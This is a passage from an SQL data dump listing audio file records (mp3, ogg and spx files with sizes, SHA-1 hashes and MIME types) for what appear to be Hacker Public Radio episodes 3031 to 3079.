(3031,'hpr3031.ogg','ogg',10549199,'86c3f8a636dc1fc33157bc77504fad7ce73865c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3031,'hpr3031.spx','spx',4204184,'7938f604d59cce40c49ee1c491a9062357dfc177','application/ogg; charset=binary','Ogg data, Speex audio'),
(3032,'hpr3032.mp3','mp3',6390381,'a1d59ba4378114a006da1be8df689b0de1f64acc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3032,'hpr3032.ogg','ogg',7262358,'6c4c76419cb7347f052cb0afbbcd3707ee676912','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3032,'hpr3032.spx','spx',2853700,'b6dc85ab4f972ebdd320db7040e72a78b2396353','application/ogg; charset=binary','Ogg data, Speex audio'),
(3033,'hpr3033.mp3','mp3',29508731,'d156d1858d6596014ec0148f461e3df68688e387','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3033,'hpr3033.ogg','ogg',29974137,'120757384e056b390958870e92dbcc15dc5359df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3033,'hpr3033.spx','spx',13178667,'8610399604e77adfdcd1984dfafa037b5d7292cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3034,'hpr3034.mp3','mp3',6704084,'43c8133343332a80c90b6527300c1cf3839096cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3034,'hpr3034.ogg','ogg',8157719,'efa85bf60a675a53073adbe2afeccc0efa7315e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3034,'hpr3034.spx','spx',2993847,'c964c16389625d73f667c79fe7b2c60bc90fd7f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3035,'hpr3035.mp3','mp3',6591269,'a9ad388c50c508be818034471b4fb27165c55ed9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3035,'hpr3035.ogg','ogg',7327908,'eb9bffd197fe5e87ddcac517265cd3d52a0e33cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3035,'hpr3035.spx','spx',2943458,'41b704261a23f9831e385b5ae20ad4add6102656','application/ogg; charset=binary','Ogg data, Speex audio'),
(3036,'hpr3036.mp3','mp3',12663697,'c426ddca02a2fb7eda8dddb7124e578dbf52e2ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3036,'hpr3036.ogg','ogg',15701980,'7a4be1346261b403f7ed279d911827f81959cf6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3036,'hpr3036.spx','spx',5655523,'2e7b63fd3c5da4fcb673f49234adc0397b410375','application/ogg; charset=binary','Ogg data, Speex audio'),
(3037,'hpr3037.mp3','mp3',2829559,'665c5f7eda7db1488ac27554c4207418e6d54763','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3037,'hpr3037.ogg','ogg',2965927,'2a3b93eb82e10f5d046afdd9e56322407a1dff7d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3037,'hpr3037.spx','spx',1263469,'657a84a275967f052a0d073c75e487e0db501cfe','application/ogg; charset=binary','Ogg data, Speex audio'),
(3038,'hpr3038.mp3','mp3',18306119,'02a02ac83e430c47aba087dcb91f451b1d93df76','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3038,'hpr3038.ogg','ogg',18924021,'951d1ddfcec6977e9c55499c73e4209254cae413','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3038,'hpr3038.spx','spx',8175457,'c802bc8308cd8418a3d39424355efc3c31861f85','application/ogg; charset=binary','Ogg data, Speex audio'),
(3039,'hpr3039.mp3','mp3',14041538,'f2318d14c94457fb8943f94c65f42a30dcdb5aa9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3039,'hpr3039.ogg','ogg',15486027,'0cfeeaf4caa9a51a575340bc0d73de0d4aa745fb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3039,'hpr3039.spx','spx',6270885,'922b93c8681c7cd3fd63ed443d604a181baade86','application/ogg; charset=binary','Ogg data, Speex audio'),
(3040,'hpr3040.mp3','mp3',14468652,'5ccb35d253ba322f4afa418c37ebcb058f8212b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3040,'hpr3040.ogg','ogg',16381448,'ceb26602a1cbf337079dc4ab112041f593836d8b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3040,'hpr3040.spx','spx',6461629,'7734fd6cfddbdb28e0a8f486c497184f72a41b73','application/ogg; charset=binary','Ogg data, Speex audio'),
(3041,'hpr3041.mp3','mp3',19058239,'9223e62c665354947d80d00236284fb02a3892d4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3041,'hpr3041.ogg','ogg',21385668,'6fe1491641d2f36a47dc0e11607cd18629012135','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3041,'hpr3041.spx','spx',8511364,'b92205dca6aa9ab2cf85975e955d50f5f5789a19','application/ogg; charset=binary','Ogg data, Speex audio'),
(3042,'hpr3042.mp3','mp3',32571997,'dcde65157af846ca761c3d1dac39baee459661c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3042,'hpr3042.ogg','ogg',35894233,'c8a2fc977f29b5a2d159d70ea00b02f297e65957','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3042,'hpr3042.spx','spx',14546780,'43f091b78dead23d1d29b60ea665b9da34956b69','application/ogg; charset=binary','Ogg data, Speex audio'),
(3043,'hpr3043.mp3','mp3',2101022,'ad137c3631bfa001d20cecc68771a9043bd955da','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3043,'hpr3043.ogg','ogg',2190199,'c5b3d584591056cbbf4e892b7051df07110eba3d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3043,'hpr3043.spx','spx',938022,'32ab2ced02da734ee38502e2869861f4dcea9134','application/ogg; charset=binary','Ogg data, Speex audio'),
(3044,'hpr3044.mp3','mp3',4272098,'3e76b28050e93b50a40b0d3b776db8273fd826e3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3044,'hpr3044.ogg','ogg',5027781,'6412ac1ff9ebdbe68c6a63e21388d506467df18d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3044,'hpr3044.spx','spx',1907760,'e577d7cf186bc2ad805c6c18d06f4e65668bad5f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3045,'hpr3045.mp3','mp3',8816646,'c63310b0565d5c43a011861a4790bb74a076c388','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3045,'hpr3045.ogg','ogg',9917696,'004f506c0cc5b2e20926407a65fd90b2386ba5c1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3045,'hpr3045.spx','spx',3937366,'613370ff05d11d452b2e216b501c89762bde97e3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3046,'hpr3046.mp3','mp3',37088024,'ad2d7d6d9dc2d93e0bff734e8e27503a451c0bec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3046,'hpr3046.ogg','ogg',36216773,'053eb6580123dc395d51dd642b702a64bc02730a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3046,'hpr3046.spx','spx',16563639,'cbe39060239de528675e69c5761c636bc37b1897','application/ogg; charset=binary','Ogg data, Speex audio'),
(3047,'hpr3047.mp3','mp3',19989545,'a3086c6f1c5041f648804defd077223bcf7bb3c2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3047,'hpr3047.ogg','ogg',22071476,'5abc32b360254d3936a73e54fd1b184f759dc856','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3047,'hpr3047.spx','spx',8927349,'ac50de3d8afc03b6398a168ae8cdfa1ed190315e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3048,'hpr3048.mp3','mp3',5997071,'f559477df1cb2ac08d759a8d06752dc83965ae46','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3048,'hpr3048.ogg','ogg',6779235,'acc27c16ac71f6ea9d853cd5908387b240b0555e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3048,'hpr3048.spx','spx',2678136,'6675779095e3fde3c92de876705ed9509e6ae7a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3049,'hpr3049.mp3','mp3',11967607,'47b7224b4e35ff656b6f832a815bf7311e52fede','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3049,'hpr3049.ogg','ogg',13427972,'055afdbe2cbc5376ed419800055be1b0dd5ad0d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3049,'hpr3049.spx','spx',5344554,'8db011775a955c1a0214a0b8c310763556dd1e42','application/ogg; charset=binary','Ogg data, Speex audio'),
(3050,'hpr3050.mp3','mp3',36368494,'532310a365fc3700bf90116fcacc129968f2a5bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3050,'hpr3050.ogg','ogg',36654725,'a5dde41b9baff69787170763142a2e804be1de8b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3050,'hpr3050.spx','spx',16242287,'6122f4e5845cabb7ed476950ca2c9e6dd238ceae','application/ogg; charset=binary','Ogg data, Speex audio'),
(3051,'hpr3051.mp3','mp3',20807067,'7cc20aca318498cf82321b0f3806f152a2885c7b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3051,'hpr3051.ogg','ogg',22915646,'33c47194b461b918a947aef339efcec5b1034a86','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3051,'hpr3051.spx','spx',9292404,'ef454f969143496c6076529d04b5ad4361fe5062','application/ogg; charset=binary','Ogg data, Speex audio'),
(3052,'hpr3052.mp3','mp3',11760308,'0a13dcadfa5bb138fbec4489368e68232988e504','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3052,'hpr3052.ogg','ogg',13455277,'4cbaafb802ca6e06739e63b5d95196c88d752e3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3052,'hpr3052.spx','spx',5252024,'0210690d43028c4be2f13feeab21e6ece5b8f247','application/ogg; charset=binary','Ogg data, Speex audio'),
(3053,'hpr3053.mp3','mp3',75068199,'9ff6e84ca25ccdbd8505599518edde04ab2a54fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3053,'hpr3053.ogg','ogg',78684430,'10326ac10422f83aa720cec8debfd3734c25eb7e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3053,'hpr3053.spx','spx',33525900,'2b49d4e824a27cbdc39324ef03c6afaa1afd10b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3054,'hpr3054.mp3','mp3',9988555,'f353ca0d8e7d8c1bc4e94bc63bda2e622e54b094','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3054,'hpr3054.ogg','ogg',11381812,'5dff8330921cb4def1c2419fe8bfb7390bff8134','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3054,'hpr3054.spx','spx',4460670,'e7873b3f81b73eedf75a547bd536cb7111e4bebb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3055,'hpr3055.mp3','mp3',7243256,'2000e88bf9aa7cb3ed555a24b5fe2d07946ffcbc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3055,'hpr3055.ogg','ogg',8067156,'9fc1c426e2b9e15e006269d2505a5320cb360a2c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3055,'hpr3055.spx','spx',3234688,'0aafb980258433d127b9835a05922a76eb704a14','application/ogg; charset=binary','Ogg data, Speex audio'),
(3056,'hpr3056.mp3','mp3',7255716,'d044f212a3c57f48a718495c033fa1afda10954f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3056,'hpr3056.ogg','ogg',8628335,'74a2df50f72b36f730e3b6de4645a4672c21b9e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3056,'hpr3056.spx','spx',3240245,'3e92df8e313c31ffab93f20c080d165fce7fd7a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3057,'hpr3057.mp3','mp3',11314943,'d8a1261ab6e23f137f61980257330460b7b41bfa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3057,'hpr3057.ogg','ogg',10839716,'15ecafa278bf20e50c985b9161644ab2604d329f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3057,'hpr3057.spx','spx',5053132,'2a1e0d92281d594f290fe5425e3d6d95c78dc253','application/ogg; charset=binary','Ogg data, Speex audio'),
(3058,'hpr3058.mp3','mp3',48910433,'842ed9ae3dacdd7fe9bd1f8d0fae036286ccf110','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3058,'hpr3058.ogg','ogg',49115106,'38c2b2efbd935240bafdf696b6546582a73f7511','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3058,'hpr3058.spx','spx',21843578,'e459c625563694f3b7f8bcabdccb800ca62b56c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3059,'hpr3059.mp3','mp3',3518577,'8177efe2306a95fbd8802783f7a46d21c8b17ecc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3059,'hpr3059.ogg','ogg',3941635,'8ed81f2ceaaf0734d26e627f564c75adee8091c1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3059,'hpr3059.spx','spx',1571178,'0b06c8b27b8e535cf7b69207465939b9efff4b6f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3060,'hpr3060.mp3','mp3',4043317,'cc56eb8cc9c157794ee40bed91e0e27d8f5b0783','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3060,'hpr3060.ogg','ogg',4357505,'89c3707102414017627eb228386e5e52c9db37ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3060,'hpr3060.spx','spx',1805562,'2e7ba0b2fc9c9f5839709c47ba009c6f2b5d99b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3061,'hpr3061.mp3','mp3',17571384,'12eb945dfb3ba2f996203447926cc5d49d74fe70','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3061,'hpr3061.ogg','ogg',20114958,'48d1906c382914ad8d956bfa113ece836d039bc9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3061,'hpr3061.spx','spx',7847285,'1bc38a892e7784eb51e0b027c760aa74586fed57','application/ogg; charset=binary','Ogg data, Speex audio'),
(3062,'hpr3062.mp3','mp3',8166933,'17271e1066650366df7159437fea236088e30e31','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3062,'hpr3062.ogg','ogg',8791710,'1f680e16818a6d39906b1704b0f223c8782f8bf2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3062,'hpr3062.spx','spx',3647248,'c53171d4117be059bc8822fbc9737fd422e0ce7e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3063,'hpr3063.mp3','mp3',8215581,'55e269453cb71464ed8e9b6e4c59b3101192c20f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3063,'hpr3063.ogg','ogg',9050618,'02e095c702834e0195f6b57b7d4b08d35e6b5fa1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3063,'hpr3063.spx','spx',3668879,'565ddf89952b3d1d0749b27a4bdcd07d4fee05b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3064,'hpr3064.mp3','mp3',4569512,'a72bfb4b0154bb23eff13870c7cf0ab946738f4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3064,'hpr3064.ogg','ogg',4656016,'aa756c9499c95d99a1db712e43ea3a8f0eff3be4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3064,'hpr3064.spx','spx',2040551,'81743d657d4db23abae22b802685385bcca6b1e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3065,'hpr3065.mp3','mp3',8999895,'cd9db157f942b06f0bc772907c1f7086f81f10d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3065,'hpr3065.ogg','ogg',10093987,'ef13cd62270d21cf4857fbffb9953684779818aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3065,'hpr3065.spx','spx',4019246,'637aaae2eb6b92bfd620889e958db90ac2c5d3c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3066,'hpr3066.mp3','mp3',21283097,'79d31f1f8c47c34e945fcf7558ed7fe05fe25fb4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3066,'hpr3066.ogg','ogg',22995659,'ba5cc423329c42bae72b6b88dd2954b2b35c9183','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3066,'hpr3066.spx','spx',9504981,'fb2d184c72a27658a52bfe770337c5752e234482','application/ogg; charset=binary','Ogg data, Speex audio'),
(3067,'hpr3067.mp3','mp3',13423813,'00b43035b7530d9d21b9ea5ee6e3b4d2166df618','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3067,'hpr3067.ogg','ogg',16728946,'ac7e3eaf4e367d4e6e0690b0aa20f479dd52da65','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3067,'hpr3067.spx','spx',5994990,'04ba7be5c80eb76963e47d0de74144aa5e714ef5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3068,'hpr3068.mp3','mp3',7491903,'b83a2ef98e502cf95884b7358f5135b562e041df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3068,'hpr3068.ogg','ogg',7335369,'09e6ccd0dc86cc5e37910678f3351237b1c7d346','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3068,'hpr3068.spx','spx',3345685,'9a1464f0242cdb81b94ad2b4db589f128a25b624','application/ogg; charset=binary','Ogg data, Speex audio'),
(3069,'hpr3069.mp3','mp3',33457230,'214f2f597e6e3dd5743913e7e7afd842ec3102db','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3069,'hpr3069.ogg','ogg',38090665,'8b890df819f1e2e9104bf8a3e77a1d3a6de20397','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3069,'hpr3069.spx','spx',14942157,'a7c1b26bb3de113b9bc27de152a3146b6d19fcd9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3070,'hpr3070.mp3','mp3',6494835,'4b2c7f7d9d9c94b094a9bb64a7611730bf704add','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3070,'hpr3070.ogg','ogg',7390455,'72f3adc0c6b087e5a8a014ecf40adfa6953cdf55','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3070,'hpr3070.spx','spx',2900396,'505f5589cf60cd4a14c318077c0ea827ea7d8586','application/ogg; charset=binary','Ogg data, Speex audio'),
(3071,'hpr3071.mp3','mp3',7574022,'555f030ca62448c79634bee6352a5e006ffc40f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3071,'hpr3071.ogg','ogg',8347216,'21be32378a5f0507aa73251a0dd3c4bea04c1dc3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3071,'hpr3071.spx','spx',3382412,'f60f9cc53c396370cccaf6fc9a3bdc6e72443ef2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3072,'hpr3072.mp3','mp3',12246420,'86859b772ddfc67b31974a077aa4a84c71e58ff7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3072,'hpr3072.ogg','ogg',13157569,'21acc50705aaf4012effea0ce672a47f363e1dd3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3072,'hpr3072.spx','spx',5469151,'e3bcd93abdab77e89366e3ddd5da1a44489ce08b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3073,'hpr3073.mp3','mp3',2654467,'ccdb6fe2b487d10a8bc1be932964639f67c24bec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3073,'hpr3073.ogg','ogg',2808215,'5ea95e59a31def53a505eee48792530007ee9393','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3073,'hpr3073.spx','spx',1185342,'ff013585d6762e54f088b13a3097d917473470fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(3074,'hpr3074.mp3','mp3',15846289,'bc348ddb063cd5e1013db059eea61e6f0a14f22e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3074,'hpr3074.ogg','ogg',17074332,'90d49ebbe6539358b76ed90602df1300d94f5dd8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3074,'hpr3074.spx','spx',7076854,'eb2a792420bd38c83205b57445a8aa8b2d60c12d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3075,'hpr3075.mp3','mp3',7095876,'46c95c6d8af1a2de470978ad907bd9cad05c9120','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3075,'hpr3075.ogg','ogg',8002735,'7bad864c28713cc9b631a027c21e4c29d9a61e74','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3075,'hpr3075.spx','spx',3168886,'2e5a453036a5de8f3947b6573e88cc4fe7620efe','application/ogg; charset=binary','Ogg data, Speex audio'),
(3076,'hpr3076.mp3','mp3',29352593,'1d14e96c9d30b02df1f0fb5b05faa0cee2c9b76a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3076,'hpr3076.ogg','ogg',27872814,'1d762e2379c0de54e9225c2b47eff84e5389b894','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3076,'hpr3076.spx','spx',13108909,'55afd48e457bbbf53886b53ad9d900f459f3c873','application/ogg; charset=binary','Ogg data, Speex audio'),
(3077,'hpr3077.mp3','mp3',4841835,'f6c9339e9b54215b62890655c9db80c1b0993ea8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3077,'hpr3077.ogg','ogg',5480379,'985293c62d39dca8d1bd55ff1428a852aca0b876','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3077,'hpr3077.spx','spx',2162198,'7f14a69a98f6c11b903595f8cafca9caa7ef57d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3078,'hpr3078.mp3','mp3',8223105,'2369273b313df9251dcfe44bb3eb52d777ece300','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3078,'hpr3078.ogg','ogg',9219233,'b454d005ad09dfabfc105c2bd29a18831e9995bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3078,'hpr3078.spx','spx',3672216,'bffaf04741492a8ced249b50f3be6cb7191ce8bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3079,'hpr3079.mp3','mp3',39471041,'d6fda81553a4606b9fb3d5449c52cde464091f39','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3079,'hpr3079.ogg','ogg',39976795,'436b5d8fdccc1e88a2a80ea076f1df6502ef2b07','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
